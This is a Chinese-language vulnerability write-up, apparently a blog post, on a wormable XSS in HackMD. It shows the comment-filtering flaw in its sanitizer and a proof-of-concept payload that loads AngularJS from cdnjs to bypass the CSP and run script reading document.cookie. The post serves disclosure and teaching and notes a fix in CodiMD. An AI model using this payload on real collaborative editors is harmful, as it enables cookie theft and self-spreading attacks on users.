HackMD中的可蠕虫化XSS漏洞分析

本文详细分析了HackMD平台中一个独特的XSS漏洞,该漏洞可通过注释标签属性污染DOM渲染,并结合AngularJS成功绕过CSP策略,最终实现蠕虫式传播效果。

可蠕虫化的HackMD XSS漏洞

在Web安全领域,我通常更偏爱服务器端漏洞而非客户端漏洞(当然能直接获取shell的客户端漏洞除外XD)。控制他人服务器对我来说更有趣!正因如此,我以往较少关注XSS和CSRF等客户端漏洞(翻看记录只有2018年Google CTF那篇)。但这次发现的漏洞相当有趣,本着教育(和炫耀?)的心态决定撰文分享。

背景介绍

HackMD是一款台湾开发者打造的Markdown协作平台,被COSCUP、g0v、HITCON等台湾技术会议用作官方协作文档平台,甚至还是Ethereum的官方协作工具。其源代码已在GitHub开源(获得4500+星),在中国和欧洲也拥有大量用户。

漏洞发现

在审查HackMD前端Markdown渲染的XSS防护机制时,发现其使用npm/xss库进行HTML过滤。关键在于onIgnoreTag回调函数中对HTML注释标签的处理:

1
2
3
4
5
onIgnoreTag: function (tag, html, options) {
    if (tag === '!--') {
        return html // 不过滤其属性
    }
}

开发者本意是保留注释内容,但我们可以构造特殊注释来污染DOM:

1
<!-- foo="bar--> <s>Hi</s>" -->

CSP绕过技术

HackMD实施了严格的内容安全策略(CSP),但存在两个关键弱点:

  1. 允许unsafe-eval
  2. 允许从cdnjs.cloudflare.com加载脚本

利用AngularJS 1.0.8的客户端模板注入功能,我们成功绕过CSP:

1
2
3
4
5
6
7
<!-- foo="-->
<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js>
</script>
<div ng-app>
    {{constructor.constructor('alert(document.cookie)')()}}
</div>
//sssss" -->

蠕虫攻击效果

当攻击者与其他用户同时编辑文档时,可对所有查看者执行恶意代码,实现类似Samy Worm的蠕虫传播效果。

该漏洞已在CodiMD最新版修复,详情参见相关pull request。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计